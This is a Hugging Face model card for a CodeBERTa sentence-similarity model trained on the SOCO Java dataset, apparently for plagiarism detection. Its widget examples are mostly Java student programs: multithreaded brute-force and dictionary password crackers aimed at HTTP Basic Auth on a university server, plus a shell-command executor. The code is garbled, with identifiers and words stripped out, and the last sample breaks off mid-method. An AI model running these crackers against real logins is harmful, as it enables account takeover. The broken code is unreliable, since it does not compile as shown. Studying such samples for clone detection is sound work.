Model: buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:30069, loss:SoftmaxLoss, dataset:buelfhood/SOCO_TRAIN_java, arxiv:1908.10084, base_model:huggingface/CodeBERTa-small-v1, base_model:finetune:huggingface/CodeBERTa-small-v1, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: huggingface/CodeBERTa-small-v1
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:30069, loss:SoftmaxLoss
base_model: huggingface/CodeBERTa-small-v1
widget: source_sentence: 

import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;

public class BruteForce {
    
    
    
    public static String Base64Encode(String s) {
        byte[] bb = s.getBytes();
        byte[] b  = bb;
        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
        '0','1','2','3','4','5','6','7','8','9','+','/' };
        if (bb.length % 3!=0) {
            int x1 = bb.length;
            
            b = new byte[(x1/3+1)*3];
            int x2 = b.length;
            
            for(int i=0;i<x1;i++)
                b[i] = bb[i];
            for(int i=x1;i<x2;i++)
                b[i] = 0;
        }
        
        char[] c = new char[b.length/3*4];
        
        int i=0, j=0;
        while (i+3<=b.length) {
            c[j]     = table[(b[i]   >>  2)];
            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];
            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];
            c[j+3]   = table[(b[i+2] &  63)];
            i+=3;
            j+=4;
        }
        
        j = c.length-1;
        while (c[j]=='A') {
            c[j]='=';
            j--;
        }
        
        return String.valueOf(c);
    }
    
    
    public synchronized void getAccumulatedLocalAttempt() {
        attempt = 0;
        for (int i=0;i<MAXTHREAD;i++) {
            attempt += threads[i].getLocalAttempt();
        }
    }
    
    
    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern("0.00");
        
        System.out.println();
        System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
        System.out.println();
        System.out.println("  Current connections   : "+curconn);
        System.out.println("  Current progress      : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
        System.out.println("  Overall Attempts rate : "+ovrl+" attempts  second (approx.)");
        System.out.println();
        System.out.println(" ---------------------------------------------------------------------------");
        System.out.println();
    }
    
    
    public class MyTT extends TimerTask {
        
        public synchronized void run() {
            
            
            if (count==REPORT_INTERVAL) {
                
                DecimalFormat fmt = new DecimalFormat();
                fmt.applyPattern("0.00");
                
                
                getAccumulatedLocalAttempt();
                double p = (double)attempt/(double)ALLCOMBI*100;
                
                
                double aps = (double) (attempt - attm) / REPORT_INTERVAL;
                
                
                attmArr[attmArrIdx++] = aps;
                
                
                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
                count = 0;
            } else
                
                if (count==0) {
                    getAccumulatedLocalAttempt();
                    attm = attempt;
                    count++;
                } else {
                    count++;
                }
        }
        
        
        public synchronized double getOverallAttemptPerSec() {
            double val = 0;
            for (int i=0;i<attmArrIdx;i++) {
                 val+= attmArr[i];
            }
            return val / attmArrIdx;
        }
        
        private int      count = 0;
        private   int   attm;
        private int      attmArrIdx = 0;
        private double[] attmArr = new double[2*60*60/10]; 
    }
    
    
    public synchronized void interruptAll(int ID) {
        for (int i=0;i<MAXTHREAD;i++) {
            if ((threads[i].isAlive()) && (i!=ID)) {
                threads[i].interrupt();
            }
            notifyAll();
        }
    }
    
    
    
    public synchronized void setSuccess(int ID, String p) {
        passw   = p;
        success = ID;
        notifyAll();
        interruptAll(ID);
        
        
        end = System.currentTimeMillis();
    }
    
    
    public synchronized boolean isSuccess() {
        return (success>=0);
    }
    
    
    
    public synchronized void waitUntilAllTerminated() {
        while (curconn>0) {
            try {
                wait();
            } catch (InterruptedException e) {}
        }
    }
    
    
    
    
    public synchronized int waitUntilOK2Connect() {
        boolean interruptd= false;
        int idx = -1;
        
        
        
        
        while (curconn>=MAXCONN) {
            try {
                wait();
            } catch (InterruptedException e) { interruptd = true; }
        }
        
        
        
        if (!interruptd) {
            
            curconn++;
            for (idx=0;idx<MAXCONN;idx++)
                if (!connused[idx]) {
                    connused[idx] = true;
                    break;
                }
            
            notifyAll();
        }
        
        
        return idx;
    }
    
    
    public synchronized void decreaseConn(int idx) {
        curconn--;
        connused[idx] = false;
        
        
        notifyAll();
    }
    
    
    public class ThCrack extends Thread {
        
        
        public ThCrack(int threadID, int startidx, int endidx) {
            super(" Thread #"+String.valueOf(threadID)+": ");
            this.ID       = threadID;
            this.startidx = startidx;
            this.endidx   = endidx;
            
            setDaemon(true);
        }
        
        
        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
            int i ;
            String msg;
            
            
            URL tryURL = new URL(THEURL);
            
            
            connections[connID]=(HttpURLConnection) tryURL.openConnection();
            
            
            connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
            
            
            i = connections[connID].getResponseCode();
            msg  = connections[connID].getResponseMessage();
            connections[connID].disconnect();
            
            
            if (i==HttpURLConnection.HTTP_OK) {
                
                System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
                setSuccess(this.ID,thePass);
                return (true);
            } else {
                
                System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
                return (false);
            }
        }
        
        
        public void rest(int msec) {
            try { sleep(msec); } catch (InterruptedException e) {}
        }
        
        
        
        public String constructPassword( int idx) {
            int     i = idxLimit.length-2;
            boolean processed = false;
             
            String result = "";
            while (i>=0) {
                if (idx>=idxLimit[i]) {
                    int nchar = i + 1;
                    idx-=idxLimit[i];
                    for (int j=0;j<nchar;j++) {
                        x = (idx % NCHAR);
                        result = charset.charAt((int) x) + result;
                        idx /= NCHAR;
                    }
                    break;
                }
                i--;
            }
            
            return result;
        }
        
        
        public String getStartStr() {
            return constructPassword(this.startidx);
        }
        
        
        public String getEndStr() {
            return constructPassword(this.endidx);
        }
        
        
        public void run() {
             i = startidx;
            boolean keeprunning = true;
            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
                
                
                int idx = waitUntilOK2Connect();
                
                
                if (idx==-1) {
                    
                    break;
                }
                
                try {
                    
                    launchRequest(getName(), idx, constructPassword(i));
                    
                    decreaseConn(idx);
                    
                    localattempt++;
                    
                    
                    rest(MAXCONN);
                    i++;
                } catch (InterruptedException e) {
                    
                    
                    keeprunning = false;
                    break;
                } catch (IOException e) {
                    
                    
                    
                    
                    
                    decreaseConn(idx);
                }
            }
            
            
            if (success==this.ID) {
                waitUntilAllTerminated();
            }
        }
        
        
        public int getLocalAttempt() {
            return localattempt;
        }
        
        private int startidx,endidx;
        private int ID;
        private int localattempt = 0;
    }
    
    
    public void printProgramHeader(String mode,int nThread) {
        System.out.println();
        System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
        System.out.println();
        System.out.println("  URL         : "+THEURL);
        System.out.println("  Crack Mode  : "+mode);
        System.out.println("  Characters  : "+charset);
        System.out.println("  . Char   : "+MINCHAR);
        System.out.println("  . Char   : "+MAXCHAR);
        System.out.println("  # of Thread : "+nThread);
        System.out.println("  Connections : "+MAXCONN);
        System.out.println("  All Combi.  : "+ALLCOMBI);
        System.out.println();
        System.out.println(" ***************************************************************************");
        System.out.println();
    }
    
    
    public void startNaiveCracking() {
        MAXTHREAD = 1;
        MAXCONN   = 1;
        startDistCracking();
    }
    
    
    public void startDistCracking() {
         int startidx,endidx;
        int   thcount;
        
        
        if (isenhanced) {
            printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
        } else {
            printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
        }
        
        
        i = System.currentTimeMillis();
        
         idxstart = idxLimit[MINCHAR-1];
        
        
        
        
        
        
        if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
         mult = (ALLCOMBI - idxstart) / MAXTHREAD;
        
        
        
        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
            startidx = thcount*mult + idxstart;
            endidx   = (thcount+1)*mult-1 + idxstart;
            threads[thcount] = new ThCrack(thcount, startidx, endidx);
            System.out.println(threads[thcount].getName()+" try  crack from '"+threads[thcount].getStartStr()+"'  '"+threads[thcount].getEndStr()+"'");
        }
        
        
        
        
        
        startidx = (MAXTHREAD-1)*mult + idxstart;
        endidx   = ALLCOMBI-1;
        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
        System.out.println(threads[MAXTHREAD-1].getName()+" try  crack from '"+threads[MAXTHREAD-1].getStartStr()+"'  '"+threads[MAXTHREAD-1].getEndStr()+"'");
        
        System.out.println();
        System.out.println(" ***************************************************************************");
        System.out.println();
        
        
        for (int i=0;i<MAXTHREAD;i++)
            threads[i].print();
    }
    
    
    public BruteForce() {
        
        if (isenhanced) {
            startDistCracking();
        } else {
            startNaiveCracking();
        }
        
        
        reportTimer  = new java.util.Timer();
        MyTT      tt = new MyTT();
        reportTimer.schedule(tt,1000,1000);
        
        
        while ((success==-1) && (attempt<ALLCOMBI)) {
            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }
        }
        
        
        if (success==-1) {
            end = System.currentTimeMillis();
        }
        
        
        getAccumulatedLocalAttempt();
        
        double ovAps = tt.getOverallAttemptPerSec();
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern("0.00");
        
        
        reportTimer.cancel();
        
        
        try { Thread.sleep(1000); } catch (InterruptedException e) {  }
        
        
        synchronized (this) {
            if (success>=0) {
                System.out.println();
                System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
                System.out.println();
                System.out.println("  The password is     : "+passw);
                System.out.println("  Number of attempts  : "+attempt+" of "+ALLCOMBI+" total combinations");
                System.out.println("  Attempt position    : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
                System.out.println("  Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
                System.out.println("  Cracking time       : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
                System.out.println("  Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
                System.out.println();
                System.out.println(" ***************************************************************************");
                System.out.println();
            } else {
                System.out.println();
                System.out.println(" ********************* [ UNABLE  CRACK THE URL !!! ] *********************");
                System.out.println();
                System.out.println("  Number of attempts  : "+attempt+" of "+ALLCOMBI+" total combinations");
                System.out.println("  Attempt position    : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
                System.out.println("  Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
                System.out.println("  Cracking time       : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
                System.out.println();
                System.out.println(" ***************************************************************************");
                System.out.println();
            }
        }
    }
    
    
    public static void printSyntax() {
        System.out.println();
        System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
        System.out.println();
        System.out.println("   mode     : (opt) 0 - NAIVE Brute force mode");
        System.out.println("                        (trying from the first  the last combinations)");
        System.out.println("                    1 - ENHANCED Brute force mode");
        System.out.println("                        (dividing cracking jobs  multiple threads) (default)");
        System.out.println("   URL      : (opt) the URL  crack ");
        System.out.println("                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
        System.out.println("   charset  : (optional) the character set used  crack.");
        System.out.println("              - (default)");
        System.out.println("                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
        System.out.println("              -alphanum       ");
        System.out.println("                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
        System.out.println("              -alphalow       ");
        System.out.println("                 abcdefghijklmnopqrstuvwxyz");
        System.out.println("              -alphaup        ");
        System.out.println("                 ABCDEFGHIJKLMNOPQRSTUVWXYZ");
        System.out.println("              -number         ");
        System.out.println("                 1234567890");
        System.out.println("               [custom] e.g. aAbB123");
        System.out.println("   ,  : (optional) range of characters   applied in the cracking");
        System.out.println("                         where  1   <=  <= 10  (default  = 1)");
        System.out.println("                                 <=  <= 10  (default  = 3)");
        System.out.println("   username : (optional) the username that is used  crack");
        System.out.println();
        System.out.println("   NOTE: The optional parameters 'charset','','', and 'username'");
        System.out.println("         have   specified altogether  none at all.");
        System.out.println("         For example, if [charset] is specified, then [], [], and");
        System.out.println("         [username] have   specified as well. If none of them  specified,");
        System.out.println("         default values   used.");
        System.out.println();
        System.out.println("   Example of invocation :");
        System.out.println("         java BruteForce ");
        System.out.println("         java BruteForce 0");
        System.out.println("         java BruteForce 1 http://localhost/tryme.php");
        System.out.println("         java BruteForce 0 http://localhost/tryme.php - 1 3 ");
        System.out.println("         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
        System.out.println();
        System.out.println();
    }
    
    
    
    
    
    
    
    
    public static void countIdxLimit() {
        idxLimit = new int[MAXCHAR+1];
        
        NCHAR    = charset.length();
        ALLCOMBI = 0;
        for (int i=0;i<=MAXCHAR;i++) {
            if (i==0) {
                idxLimit[i] = 0;
            } else {
                idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
            }
        }
        
        ALLCOMBI = idxLimit[idxLimit.length-1];
    }
    
    
    public static void paramCheck(String[] args) {
        int argc = args.length;
        
        
        try {
            switch (Integer.valueOf(args[0]).intValue()) {
                case 0: {
                    isenhanced = false;
                } break;
               case  1: {
                    isenhanced = true;
                } break;
                default:
                    System.out.println("Syntax error : invalid mode '"+args[0]+"'");
                    printSyntax();
                    System.exit(1);
            }
        } catch (NumberFormatException e) {
            System.out.println("Syntax error : invalid number '"+args[0]+"'");
            printSyntax();
            System.exit(1);
        }
        
        if (argc>1) {
            try {
                
                URL u  = new URL(args[1]);
                
                
                try {
                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
                    
                    switch (conn.getResponseCode()) {
                        case HttpURLConnection.HTTP_ACCEPTED:
                       case  HttpURLConnection.HTTP_OK:
                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
                       case  HttpURLConnection.HTTP_FORBIDDEN:
                       case  HttpURLConnection.HTTP_UNAUTHORIZED:
                            break;
                        default:
                            
                            
                            System.out.println("Unable  open connection  the URL '"+args[1]+"'");
                            System.exit(1);
                    }
                } catch (IOException e) {
                    System.out.println(e);
                    System.exit(1);
                }
                
                THEURL = args[1];
            } catch (MalformedURLException e) {
                
                System.out.println("Invalid URL '"+args[1]+"'");
                printSyntax();
                System.exit(1);
            }
        }
        
        
        if (argc==6) {
            try {
                MINCHAR = Integer.valueOf(args[3]).intValue();
            } catch (NumberFormatException e) {
                System.out.println("Invalid  range number value '"+args[3]+"'");
                printSyntax();
                System.exit(1);
            }
            
            try {
                MAXCHAR = Integer.valueOf(args[4]).intValue();
            } catch (NumberFormatException e) {
                System.out.println("Invalid  range number value '"+args[4]+"'");
                printSyntax();
                System.exit(1);
            }
            
            if ((MINCHAR<1) || (MINCHAR>10)) {
                System.out.println("Invalid  range number value '"+args[3]+"' (must between 0 and 10)");
                printSyntax();
                System.exit(1);
            } else
                if (MINCHAR>MAXCHAR) {
                    System.out.println("Invalid  range number value '"+args[3]+"' (must lower than the  value)");
                    printSyntax();
                    System.exit(1);
                }
            
            if (MAXCHAR>10) {
                System.out.println("Invalid  range number value '"+args[4]+"' (must between  value and 10)");
                printSyntax();
                System.exit(1);
            }
            
            if (args[2].toLowerCase().equals("-")) {
                charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
            } else
                if (args[2].toLowerCase().equals("-alphanum")) {
                    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
                } else
                    if (args[2].toLowerCase().equals("-alphalow")) {
                        charset = "abcdefghijklmnopqrstuvwxyz";
                    } else
                        if (args[2].toLowerCase().equals("-alphaup")) {
                            charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
                        } else
                            if (args[2].toLowerCase().equals("-number")) {
                                charset = "1234567890";
                            } else {
                                charset = args[2];
                            }
            
            USERNAME = args[5];
        } else
            if ((argc>2) && (argc<6)) {
                System.out.println("Please specify the [charset], [], [], and [username] altogether  none at all");
                printSyntax();
                System.exit(1);
            } else
                if ((argc>2) && (argc>6)) {
                    System.out.println("The number of parameters expected is not more than 6. ");
                    System.out.println(" have specified more than 6 parameters.");
                    printSyntax();
                    System.exit(1);
                }
    }
    
    public static void main (String[] args) {
        
        charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        MINCHAR = 1;
        MAXCHAR = 3;
        
        
        if (args.length==0) {
            args    = new String[6];
            args[0] = String.valueOf(1); 
            args[1] = THEURL;
            args[2] = "-";
            args[3] = String.valueOf(MINCHAR);
            args[4] = String.valueOf(MAXCHAR);
            args[5] = USERNAME;
        }
        
        
        paramCheck(args);
        
        countIdxLimit();
        
        
        Application = new BruteForce();
    }
    
    public static BruteForce Application;
    public static String    THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
    public static boolean   isenhanced; 
    public static String    passw  = "";   
    
    public static final int REPORT_INTERVAL = 10; 
    public static int       MAXTHREAD =  50;      
    public static int       MAXCONN   =  50;      
    public static int	    curconn   =   0;      
    public static int       success   =  -1;      
    
    public static String    USERNAME = "";  
    public static int       MINCHAR;              
    public static int       MAXCHAR;              
    public static  int     ALLCOMBI;             
    
    public static   int start   ,end;            
    
    
    public static java.util.Timer   reportTimer; 
    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; 
    public static boolean	    connused[]    = new boolean[MAXCONN];           
    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         
    public static    int   attempt               = 0; 
    public static int    idxLimit; 
    public static String    charset;  
    public static int       NCHAR;    
}

sentences: 

public class Execute {
   public Execute(String cmdline) {
      try {
         
         String[] cmd = {"//sh", "-c", cmdline};
         Process p = Runtime.getRuntime().exec(cmd);
         
         p.waitFor();
      } catch (Exception e){}
   }
}

, 



import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;

public class ConnectionThread extends Thread
{
    private String         url;
    private URL            currURL;
    private URLConnection  conn;
    private HoldSharedData sharedData;
    private int            noOfThread;
    private int            batch;

    public ConnectionThread( String pageURL, int wThread,
                             int newBatch, HoldSharedData data )
    {
        super();
        url = pageURL;
        noOfThread = wThread ;
        batch = newBatch;
        sharedData = data;
    }

    
    public void run()
    {
        try
        {
            currURL = new URL( url );

            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
                                    (i < sharedData.getPwdCount()); i ++ )
            {
                String pwd = sharedData.getPasswordAt( i );

                conn = currURL.openConnection();

                if (conn instanceof HttpURLConnection)
                {
	            HttpURLConnection hconn = (HttpURLConnection) conn;
                    hconn.setFollowRedirects(false);
                    String cad = " " + based64Encoder( ":" + pwd );
                    hconn.setRequestProperty( "Authorization", cad );

                    hconn.connect();
	            int response = hconn.getResponseCode();
                    sharedData.setNumOfConnections();

                    if( response == 200 )
                    {
                         totalTime = System.currentTimeMillis() -
                                           sharedData.getStartTime();
                        int numOfConnections = sharedData.getNumOfConnections();

                        System.out.println( "Password is " + pwd );
                        System.out.println( "Total Time(seconds)=" +
                                           (double)totalTime/1000 );
                        System.out.println( "Number Of Connections: " +
                                                    numOfConnections );
                        System.exit(0);
                    }
                    else
                    {
                        hconn.disconnect();
                    }
                }
            }
        }
        catch( MalformedURLException mue )
        {
            String msg = "Unable  parse URL: " + url;
            System.err.println( msg );
        }
        catch( IOException ioe )
        {
            System.err.println( "I/O Error : " + ioe );
        }
    }

    private String based64Encoder( String pwd )
    {
        
        String str = pwd;
        byte[] buf = str.getBytes();
        String encodedStr = new misc.BASE64Encoder().encode(buf);


        return encodedStr;
    }
}  , import java.io.*;
import java.net.*;

public class Dictionary{

 public static void main( String[] args ){
 Dictionary dict= new Dictionary();
 dict.create();
 }

public void dsf(){
    String password;
    String auth_data;
    String username="";
    String server_res_code;
    String required_server_res_code="200";
    int cntr=0;
 try{
    URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
    URLConnection conn=null;
    String fileName = "/usr/share/lib/dict/words";
    fileName=fileName.trim();
    FileReader fr = new FileReader(fileName);
    BufferedReader inputfile = new BufferedReader(fr);

    while( (password=inputfile.readLine()) != null ){

           password = password.trim();
           
           auth_data=null;
           auth_data=username + ":" + password;
           auth_data=auth_data.trim();
           auth_data=getBasicAuthData(auth_data);
           auth_data=auth_data.trim();
           conn=url.openConnection();
           conn.setDoInput (true);
           conn.setDoOutput(true);
           conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
           conn.setRequestProperty ("Authorization", auth_data);
           server_res_code=conn.getHeaderField(0);
           server_res_code=server_res_code.substring(9,12);
           server_res_code.trim();
           cntr++;
           if( server_res_code.compareTo(required_server_res_code)!=0)
           System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);
           else {
           System.out.println(cntr + " . " + "PASSWORD IS: " + password + "  SERVER RESPONSE  : " + server_res_code);
           break;}

           }

}

catch( Exception e){
       System.err.println(e);
       }
}

public String getBasicAuthData (String getauthdata)    {

char base64Array [] = {
      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
      'w', 'x', 'y', 'z', '0', '1', '2', '3',
      '4', '5', '6', '7', '8', '9', '+', '/' } ;

    String encodedString = "";
    byte bytes [] = getauthdata.getBytes ();
    int i = 0;
    int pad = 0;
    while (i < bytes.length) {
      byte b1 = bytes [i++];
      byte b2;
      byte b3;
      if (i >= bytes.length) {
         b2 = 0;
         b3 = 0;
         pad = 2;
         }
      else {
         b2 = bytes [i++];
         if (i >= bytes.length) {
            b3 = 0;
            pad = 1;
            }
         else
            b3 = bytes [i++];
         }
      byte c1 = (byte)(b1 >> 2);
      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
      byte c4 = (byte)(b3 & 0x3f);
      encodedString += base64Array [c1];
      encodedString += base64Array [c2];
      switch (pad) {
       case 0:
         encodedString += base64Array [c3];
         encodedString += base64Array [c4];
         break;
       case 1:
         encodedString += base64Array [c3];
         encodedString += "=";
         break;
       case 2:
         encodedString += "==";
         break;
       }
      }
      return " " + encodedString;
  }

}, source_sentence: import java.net.*;
import java.util.*;
import java.io.*;




public class BruteForce {
  URL url;
  URLConnection uc;
  String username, password, encoding;
  int pretime, posttime;
  String c ;

  public BruteForce(){
    pretime = new Date().getTime();
    try{
      url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
    }catch(MalformedURLException e){
      e.printStackTrace();
    }
    username = "";
  }

  public void checkPassword(char[] pw){
    try{
      password = new String(pw);
      encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
      uc = url.openConnection();
      uc.setRequestProperty("Authorization", " " + encoding);
      bf = uc.getHeaderField(null);
      System.out.println(password);
      if(bf.equals("HTTP/1.1 200 OK")){
        posttime = new Date().getTime();
         diff = posttime - pretime;
        System.out.println(username+":"+password);
        System.out.println();
        System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
        System.exit(0);
      }
    }catch(MalformedURLException e){
      e.printStackTrace();
    }catch(IOException ioe){
      ioe.printStackTrace();
    }
  }

  public static void main (String[] args){
    BruteForce bf = new BruteForce();
    char i, j, k;

    
    for(i='a'; i<='z'; i++){
      for(j='a'; j<='z'; j++){  
        for(k='a'; k<='z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }

    
    for(i='A'; i<='Z'; i++){
      for(j='A'; j<='Z'; j++){  
        for(k='A'; k<='Z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }

    
    for(i='A'; i<='Z'; i++){
      for(j='a'; j<='z'; j++){  
        for(k='a'; k<='z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }

    for(i='A'; i<='z'; i++){ 
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      for(j='A'; j<='Z'; j++){  
        for(k='a'; k<='z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }   

    for(i='A'; i<='z'; i++){ 
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      for(j='a'; j<='z'; j++){  
        for(k='A'; k<='Z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    } 
        
    for(i='a'; i<='z'; i++){
      for(j='A'; j<='Z'; j++){  
        for(k='A'; k<='Z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }
    
    
    for(i='A'; i<='z'; i++){ 
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      for(j='A'; j<='z'; j++){  
        if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
          continue;
        }
        char[] pw = {i, j};
        bf.checkPassword(pw);
      }
    }   
    
    
    for(i='A'; i<='z'; i++){     
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      char[] pw = {i};
      bf.checkPassword(pw);
    }
  }
}
        

sentences: 





import java.util.*;
import java.io.*;

public class WatchDog
{	

	public static void main(String args[])
	{

           Runtime rt1 = Runtime.getRuntime();
	   Process prss1= null;

           try
            {
             prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
            }catch(java.io.IOException e){}

	   MyWatchDogTimer w = new MyWatchDogTimer();
	   Timer time = new Timer();
	   time.schedule(w,864000000,864000000);

		
	}
}
, import java.io.*;
import java.net.*;











public class BruteForce
{
   private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
   private static String password;
   private static int length;          
   private static int t_counter;       
   private static int f_counter;       
                                       
   private static int cases;           
                                       
   private static int respCode;        

   public BruteForce()
   {
      Authenticator.setDefault(new BruteForceAuthenticator());
      t_counter = 0;
      f_counter = 0;
      cases = 0;
   }

   public static void main (String[] args)
   {
      BruteForce bf = new BruteForce();
      String file = " ";
      while(respCode != 200)
      {
         file = bf.fetchURL();
      }
      System.out.println("Number of attempts: " + t_counter);
      System.out.println("Password: " + password);
      System.out.println(file);
   }

   private String fetchURL()
   {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter();

      try
      {
         URL url = new URL(urlString);
         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
         respCode = huc.getResponseCode();
         InputStream content = huc.getInputStream();
         BufferedReader in = 
            new BufferedReader (new InputStreamReader (content));
         String line;
         while ((line = in.readLine()) != null) 
         {
            pw.println(line);
         }
      } catch (IOException e) {
         pw.println("Error  URL");
      }
      return sw.toString();
   }
            
   class BruteForceAuthenticator extends Authenticator 
   {
      private String username = "";

      protected PasswordAuthentication getPasswordAuthentication()
      {
         return new PasswordAuthentication(username,generatePassword());
      }

      protected char[] generatePassword()
      {
         int i,j,k;
         int n = 26;
         String letters1 = "qwertyuiopasdfghjklzxcvbnm";
         String letters2 = "abcdefghijklmnopqrstuvwxyz";
 
         i=0;
         j=0;
         k=0;
   
         
         
         if(t_counter == 0)
         {
            length = 1;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == 2*n)
         {
            length = 2;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == (2*n + 4*n*n))
         {
            length = 3;
            cases = 0;
            f_counter = 0;
         }

         char c[] = new char[length];

         
         
         if(length == 1)
         {
            if(f_counter == n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter;

         } else if(length == 2) 
         {
            if(f_counter == n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/n;
            j = f_counter - i*n;

         } else if(length == 3) 
         {
            if(f_counter == n*n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/(n*n);
            j = (f_counter - i*n*n)/n;
            k = f_counter - i*n*n - j*n;
         }

         
         switch(cases)
         {
            case 0:
               c[0] = letters1.charAt(i);
               if(length > 1) c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 1:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 2:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 3:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 4:
               c[0] = letters1.charAt(i);
               c[1] = letters1.charAt(j);
